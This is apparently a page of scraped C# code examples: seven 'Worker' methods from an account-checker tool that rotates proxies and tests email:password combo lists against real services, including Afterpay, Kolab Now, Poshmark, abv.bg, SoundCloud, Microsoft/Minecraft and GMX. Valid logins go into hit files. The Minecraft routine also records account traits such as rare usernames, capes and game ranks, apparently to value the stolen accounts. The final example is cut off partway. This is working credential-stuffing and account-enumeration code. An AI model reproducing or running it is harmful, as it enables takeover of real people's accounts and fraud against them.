Esempio n. 1
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = req.Post("https://portalapi.afterpay.com/portal/consumers/auth/reset/check-email-option-eligibility", "{\"email\":\"" + credentials[0] + "\"}", "application/json").ToString();
                    if (check.Contains("shouldDisableEmailOption\" : false") || check.Contains("shouldDisableEmailOption\" : true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("not_found"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 2
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = request.Post("https://kolabnow.com/api/auth/login", "{\"email\":\"" + credentials[0] + "\",\"password\":\"" + credentials[1] + "\",\"secondfactor\":\"\"}", "application/json;charset=UTF-8a").ToString();

                    if (check.Contains("Invalid username or password"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (check.Contains("\"isActive\":true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 3
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    var    POSHMARK = Functions.RandomString("?l?l?u?l?d?d?d?l");
                    string check    = request.Post("https://poshmark.com/vm-rest/auth/users?pm_version=137.1.0", "{\"email\":\"" + credentials[0] + "\",\"username\":\"" + POSHMARK + "\",\"home_domain\":\"us\",\"referral_code\":\"\",\"iobb\":\"0400JmLnt5pkv7EXk1Rjuv1iJnsDZowe6/tVcqcioOOyVsAHRcVlqPPsNjBjMAnDdX5Lo68d+XcjA3Rsx0n8T9ETH5sZhQDshHSvbqjr0m72nwXn+sXp6atjcdFz6al2swBmqLIkirXoLv7Xnfra5uHnDxyNWym308lBMIqy2Zw6i85J27cNnYPSQUyAZ5slTMaJY+aw0wsKl9tiCIZRJQvjJd0or96Ahdk2Yb9x2QgwVubph/T+lMlRTPW82nRfZnDxDJ0qCc4gMpergecSo06izVzqeMmBCH/i9cmKrLQxcxA5OE2KkOZe/0jXzk77ILZ/eUsQ7RNrLro1kTKIs1496YkpIh3A707lm2e25SQbo1OuF8qR6VxrbLm5yIh+F5dju6828R9GQm6kHLdnyFIQwfgqhnKLkKSn5dzgojLfFGtYcNrVTqmlpFbR7cl4S1b4HGoQSB4awnkydiNh4qAiMsPhNaG/vxUQid7nrHt/JVGW/+e5dBdAa9fSAoM4U/Vr8+g/mDVDCxGOd9AmjPBIJxitFcChQCCeqwAxaRLgkCNhO1Q2jmVgfDoPcOyOxFI2PMF6RbbQMS9rqhCzKJ9oOCaUGABVKw5X0ikb/3h1d0Im6Fy7sPS5usl67lxZGIxLGgW/RvVDlF1qDaXjTzpVnjhDYGOJFVPcAfOPjzqyODJKA+IhyeWtUEuHuH9BhO0tceSZkN6ipsurgecSo06izVzqeMmBCH/i9cmKrLQxcxA5OE2KkOZe/0jXzk77ILZ/eUsQ7RNrLro1kTKIs1496YkpIh3A707lm2e25SQbo1OuF8qR6VxrbLm5yIh+F5dju6828R9GQm6kHLdnyFIQwcv2RovzmXNT1g9RJPeBNicb7yAKVlYU34/VcdsVtZ270iAXyzfkdDO/TDp0UzLYS+KjA5OTNopRQtncHmePC+1SwejOX5dhKGYrsu13rc4RCbryu9G8AaRxi/UgQBHzxwUkaRoD62ZV2b7dgC2t18ZUbJxc190qDrCy7oj6iXjqCHXZwvUpQ5aTMOfXbB/O5h0mrbMSlEGI/eL+hd6MoUcPx4lfyeuSr5YDrO00R2GCddD62VmO/ZTctHUFIWKNLa77BjzJd5YDfqYAndlMe7bdZoUxykO48vWDDY6js4EVSiLPAgLTR9UUUA3pDXHzRR0J0Z3KrDBt6QO53m5a4VI05lyt1veYpHNuv7sghWOEeioIZRnmC0W+ochQziz7ftZJCaKwymxS1wfmZzpno81pjMGt2Ji4mZGkKIFXCOd6BeiOThsX3U8DonbrtbBLM1X69+PjMzmoH99H+38ixUw=\",\"first_name\":\"wadaw\",\"last_name\":\"awdaw\",\"password\":\"yourgay1234\",\"gender\":\"unspecified\"}", "application/json").ToString();

                    if (check.Contains("EmailTakenError"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("isUserLoggedIn\":true"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 4
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    string str   = $"host=mail01.abv.bg&service=mail&username={WebUtility.UrlEncode(credentials[0])}&password={WebUtility.UrlEncode(credentials[1])}";
                    string check = request.Post("https://passport.abv.bg/app/profiles/login", str, "application/x-www-form-urlencoded").ToString();

                    if (check.Contains("Грешен потребител / парола"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (check.Contains("Пренасочване"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 5
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = request.Post("https://api-auth.soundcloud.com/password-reset?client_id=JR1CoTOwE2qt6puwg8OwKHxDkVjBF6yT", "{\"identifier\":\"" + credentials[0] + "\",\"client_id\":\"JR1CoTOwE2qt6puwg8OwKHxDkVjBF6yT\"}", "application/json").ToString();

                    if (check.Contains("{\"error\":\"code_not_found\"}"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("addresses"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 6
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    req.AddHeader("Pragma", "no-cache");
                    req.AddHeader("Accept", "*/*");
                    req.AddHeader("accept-encoding", "null");
                    var pre = req.Get("https://login.live.com/").ToString();

                    var ci   = Functions.LR(pre, "client_id=", "&scope").FirstOrDefault();
                    var par  = req.Cookies.GetCookies("https://login.live.com/")["OParams"].Value;
                    var smp  = req.Cookies.GetCookies("https://login.live.com/")["MSPRequ"].Value;
                    var msc  = req.Cookies.GetCookies("https://login.live.com/")["MSCC"].Value;
                    var msp  = req.Cookies.GetCookies("https://login.live.com/")["MSPOK"].Value;
                    var uaid = Functions.LR(pre, "&uaid=", "\"/>").FirstOrDefault();
                    var user = WebUtility.UrlEncode(credentials[0]);

                    req.AddHeader("Referer", "https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&rver=7.1.6819.0&wp=MBI_SSL&wreply=https:%2f%2faccount.xbox.com%2fen-us%2faccountcreation%3freturnUrl%3dhttps:%252f%252fwww.xbox.com:443%252fen-US%252f%26ru%3dhttps:%252f%252fwww.xbox.com%252fen-US%252f%26rtc%3d1&lc=1033&id=292543&aadredir=1");
                    req.AddHeader("Cache-Control", "max-age=0");
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                    req.AddHeader("Accept-Language", "fr-FR,fr;q=0.8,en-AU;q=0.5,en;q=0.3");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");
                    req.AddHeader("Connection", "Keep-Alive");
                    req.AddHeader("Cookie", "MSPRequ=" + smp + "; uaid=" + uaid + "; MSCC=" + msc + "; OParams=" + par + "; MSPOK=$uuid-4480baa5-249e-4e89-8c62-e2d4fdbb972c; MSPOK=$uuid-2ae5fc02-eb2c-4c9d-ba11-875c97c617b1$uuid-a4bc56d2-6d18-44de-a191-6320722153e1");
                    req.AddHeader("Accept-Encoding", "null");

                    var    res1  = req.Post("https://login.live.com/ppsecure/post.srf?lw=1&fl=dob,easi2&xsup=1&code_challenge=MoAj0Kx4EIZFw5yKSv7dP5m7_flS2s6Kxjlj9Vvu59c&code_challenge_method=S256&state=rRBzWO6L2L-hsaUxdjqqHojOx59m-9HYji6fXevTseO5ii-paywhWsf9EQijQscxylZ0ebO4-SVG_GuLYcVwYQ&client_id=00000000402B5328&response_type=code&scope=service%3A%3Auser.auth.xboxlive.com%3A%3AMBI_SSL&redirect_uri=https%3A%2F%2Flogin.live.com%2Foauth20_desktop.srf&contextid=81BAFD6C7572DD00&bk=1615810842&uaid=571262d5d28f4dfbba3976fa6210d296&pid=15216", "i13=0&login="******"&loginfmt=" + user + "&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=" + credentials[1] + "&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT=Dfl%21MvYijTdi1nWkFqsGXJKn7rdwdPgLC0zTpufcqeydi3Nd7niosS3fbN2pSgHuIssT%21YTmzcEfOlbZR7mj7gLVQRUPHoCroyA*SVlOdX4t%21GKC7QGs*AeB2u1mf7Tl7QLH2gkwkfxHBUdV4c59XQPRJm1X2VZ8jSzPOItb7R96p13hIb32t47PtQKKrZiCOpFVfB*SRQrTJ*sosMrSh60%24&PPSX=Passpo&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&isSignupPost=0&i2=106&i17=0&i18=&i19=223902", "application/x-www-form-urlencoded");
                    string text0 = res1.ToString();

                    if (res1.Address.ToString().Contains("?code="))
                    {
                        var mb = Functions.LR(res1.Address.ToString(), "?code=", "&state").FirstOrDefault();
                        req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                        req.AddHeader("Pragma", "no-cache");
                        req.AddHeader("Accept", "/");
                        req.AddHeader("Accept-Encoding", "null");

                        var    res2  = req.Get("https://outlook.live.com/owa/?login_hint=");
                        string text2 = res2.ToString();

                        var csrf = Functions.LR(text2, "RpsCsrfState=", "&wa=wsignin1").FirstOrDefault();
                        var t    = Functions.LR(text2, "id=\"t\" value=\"", "\"></form></").FirstOrDefault();
                        var NAP  = Functions.LR(text2, "id=\"NAP\" value=\"", "\"><input ").FirstOrDefault();
                        var ANON = Functions.LR(text2, "ANON\" value=\"", "\"><input ").FirstOrDefault();

                        req.AddHeader("origin", "https://login.live.com/");
                        req.AddHeader("referer", "https://login.live.com/");
                        req.AddHeader("sec-ch-ua", " ");
                        req.AddHeader("sec-ch-ua-mobile", "?0");
                        req.AddHeader("sec-fetch-dest", "document");
                        req.AddHeader("sec-fetch-mode", "navigate");
                        req.AddHeader("sec-fetch-site", "same-site");
                        req.AddHeader("upgrade-insecure-requests", "1");
                        req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");

                        var    res3  = req.Post("https://outlook.live.com/owa/?login_hint=&RpsCsrfState=" + csrf + "&wa=wsignin1.0", "wbids=0&pprid=9779c209127ed5a4&wbid=MSFT&NAP=" + NAP + "&ANON=" + ANON + "&t=" + t + "", "application/x-www-form-urlencoded");
                        string text3 = res3.ToString();

                        if (text3.Contains("440 Login Timeout") || text3.Contains("403 Forbidden"))
                        {
                            Variables.Errors++;
                            Worker(combo);
                        }


                        var    res4  = req.Post("https://login.live.com/oauth20_token.srf", "client_id=00000000402b5328&code=" + mb + "&code_verifier=EyyIU4wCRWZuhZtN4YrLYosa4vHQ1fPDFAOieWTp9mDs7PczqwJ6UgNgV1c-XFxUK4J94WCokb7QuZz7cHWyNQ&grant_type=authorization_code&redirect_uri=https://login.live.com/oauth20_desktop.srf&scope=service::user.auth.xboxlive.com::MBI_SSL", "application/x-www-form-urlencoded");
                        string text4 = res4.ToString();

                        var at1 = Functions.JSON(text4, "access_token").FirstOrDefault();
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader("Content-Encoding", "identity");
                        req.AddHeader("Accept-Encoding", "null");

                        var    res5  = req.Post("https://user.auth.xboxlive.com/user/authenticate", "{\"Properties\":{\"AuthMethod\":\"RPS\",\"SiteName\":\"user.auth.xboxlive.com\",\"RpsTicket\":\"" + at1 + "\"},\"RelyingParty\":\"http://auth.xboxlive.com\",\"TokenType\":\"JWT\"}", "application/json");
                        string text5 = res5.ToString();

                        var Token1 = Functions.JSON(text5, "Token").FirstOrDefault();
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader("Content-Encoding", "identity");
                        req.AddHeader("Accept-Encoding", "null");

                        var    res6  = req.Post("https://xsts.auth.xboxlive.com/xsts/authorize", "{\"Properties\":{\"SandboxId\":\"RETAIL\",\"UserTokens\":[\"" + Token1 + "\"]},\"RelyingParty\":\"rp://api.minecraftservices.com/\",\"TokenType\":\"JWT\"}", "application/json");
                        string text6 = res6.ToString();

                        var Token2 = Functions.JSON(text6, "Token").FirstOrDefault();
                        var uhs    = Functions.JSON(text6, "uhs").FirstOrDefault();
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader("Content-Encoding", "identity");
                        req.AddHeader("Accept-Encoding", "null");

                        var    res7  = req.Post("https://api.minecraftservices.com/authentication/login_with_xbox", "{\"identityToken\":\"XBL3.0 x=" + uhs + ";" + Token2 + "\"}", "application/json");
                        string text7 = res7.ToString();

                        if (text7.Contains("403 Forbidden"))
                        {
                            Variables.Errors++;
                            Worker(combo);
                        }

                        var toooooken = Functions.JSON(text7, "access_token").FirstOrDefault();
                        req.AddHeader("Accept", "*/*");
                        req.AddHeader("Authorization", "Bearer " + toooooken + "");
                        req.AddHeader("Accept-Encoding", "null");

                        var    res8  = req.Get("https://api.minecraftservices.com/minecraft/profile");
                        string text8 = res8.ToString();

                        if (text8.Contains("\"skins\" "))
                        {
                            Variables.GettingCaptures++;
                            List <string> Captures = new List <string>();

RETRY1:
                            try
                            {
                                var username = Functions.JSON(text8, "name").FirstOrDefault();

                                if (Variables.OGNAMES.Any((string og) => og == username.ToLower()))
                                {
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.results + "OG_Names.txt", combo + " | Username: "******"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");
                                var  res9        = req.Get("https://namemc.com/profile/" + username);
                                bool hasOptifine = res9.ToString().Contains("optifine.net");
                                bool hasMinecon  = res9.ToString().Contains("MineCon");
                                if (hasOptifine)
                                {
                                    Variables.Optifine++;
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Capes_Folder + $"Optifine.txt", combo + Environment.NewLine);
                                    }
                                }
                                if (hasMinecon)
                                {
                                    Variables.Minecon++;
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Capes_Folder + $"Minecon.txt", combo + Environment.NewLine);
                                    }
                                }
                                Captures.Add("Optifine: " + hasOptifine);
                                Captures.Add("Minecoin: " + hasMinecon);
                                //Hypixel Lvl/Rank
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                                string ee = req.Get("https://plancke.io/hypixel/player/stats/" + username).ToString();

                                var Hypixel_Lvl  = Functions.LR(ee, "Level:</b> ", "<br").FirstOrDefault();
                                var Hypixel_Rank = Functions.LR(ee, "content=\"[", "]").FirstOrDefault();


                                if (Hypixel_Rank != null)
                                {
                                    Variables.Hypixel_Ranked++;
                                    Captures.Add($"Hypixel Rank: {Hypixel_Rank}");
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Hypixel_Ranked_folder + $"{Hypixel_Rank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                if (Hypixel_Lvl != null)
                                {
                                    Variables.Hypixel_Lvl++;
                                    Captures.Add($"Hypixel Lvl: {Hypixel_Lvl}");
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Hypixel_Leveled_Folder + $"{Hypixel_Lvl}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //velt pvp
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string heel = req.Get("https://www.veltpvp.com/u/" + username).ToString();

                                var VeltColour = Functions.LR(heel, "<h2 style=\"color: #", "\"").FirstOrDefault();
                                var VeltRank   = Functions.LR(heel, $"<h2 style=\"color: #{VeltColour}\">", "</h2>").FirstOrDefault();

                                if (VeltRank != null)
                                {
                                    Variables.veltpvp++;
                                    Captures.Add("Veltpvp Rank: " + VeltRank);
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.VeltPvp_Folder + $"{VeltRank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //hive
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string gee = req.Get($"http://api.hivemc.com/v1/player/" + username).ToString();

                                var HiveRank = Functions.JSON(gee, "enum").FirstOrDefault();

                                if (HiveRank != null)
                                {
                                    Variables.Hive++;
                                    Captures.Add("Hivemc Rank: " + HiveRank);
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Hive_folder + $"{HiveRank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //skyblock
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string hel = req.Get("https://sky.lea.moe/stats/" + username).ToString();

                                var skyblockcoins = Functions.LR(hel, "Purse Balance: </span><span class='stat-value'>", "Coins</span><br><").FirstOrDefault();

                                if (skyblockcoins != "0" && skyblockcoins != null)
                                {
                                    Variables.Skyblock++;
                                    Captures.Add("Skyblock Coins: " + skyblockcoins);
                                    lock (Variables.WriteLock)
                                    {
                                        File.AppendAllText(Variables.Skyblock_Coins_Folder + $"{skyblockcoins}.txt", combo + Environment.NewLine);
                                    }
                                }
                                string output = $"{combo} | " + string.Join(" | ", Captures);

                                Variables.GettingCaptures--;
                                Variables.Valid++;
                                Variables.Checked++;
                                Variables.cps++;
                                lock (Variables.WriteLock)
                                {
                                    Variables.remove(combo);

                                    if (Config.kekr_UI == "LOG")
                                    {
                                        Console.WriteLine($"[+] {output}", Color.Green);
                                    }
                                    File.AppendAllText(Variables.results + "Total_hits.txt", output + Environment.NewLine);
                                }
                            }
                            catch
                            {
                                Variables.Errors++;
                                goto RETRY1;
                            }
                        }
                        else if (text8.Contains("NOT_FOUND"))
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                        else
                        {
                            Variables.Errors++;
                            Worker(combo);
                        }
                    }
                    else if (text0.Contains("account doesn\\'t exist.") || text0.Contains("incorrect") || text0.Contains("Please enter the password for your Microsoft account."))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (text0.Contains("action=\"https://account.live.com/recover") || text0.Contains("action=\"https://account.live.com/Abuse") || text0.Contains("action=\"https://account.live.com/ar/cancel") || text0.Contains("action=\"https://account.live.com/identity/confirm") || text0.Contains("title>Help us protect your account") || text0.Contains("action=\"https://account.live.com/RecoverAccount") || text0.Contains("action=\"https://account.live.com/Email/Confirm") || text0.Contains("action=\"https://account.live.com/Email/Confirm") || text0.Contains("action=\"https://account.live.com/Abuse") || text0.Contains("action=\"https://account.live.com/profile/accrue"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 7
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));



                    req.AllowAutoRedirect = false;
                    req.AddHeader("Host", "login.gmx.com");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 5.1.1; SM-G977N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36");
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                    req.AddHeader("Referer", "https://www.gmx.com/");

                    var res0 = req.Post("https://login.gmx.com/login", "service=mailint&uasServiceID=mc_starter_gmxcom&successURL=https://$(clientName)-$(dataCenter).gmx.com/login&loginFailedURL=https://www.gmx.com/logout/?ls=wd&loginErrorURL=https://www.gmx.com/logout/?ls=te&edition=us&lang=en&usertype=standard&username="******"&password="******"application/x-www-form-urlencoded");
                    if (res0.Location.Contains("https://navigator-bs.gmx.com/login?auth_time="))
                    {
                        var ott = Functions.LR(res0.Location, "ott=", "").FirstOrDefault();
                        req.AddHeader("Host", "3c-bs.gmx.com");
                        req.AddHeader("Connection", "keep-alive");
                        req.AddHeader("Upgrade-Insecure-Requests", "1");
                        req.AddHeader("Save-Data", "on");
                        req.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 5.1.1; SM-G977N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36");
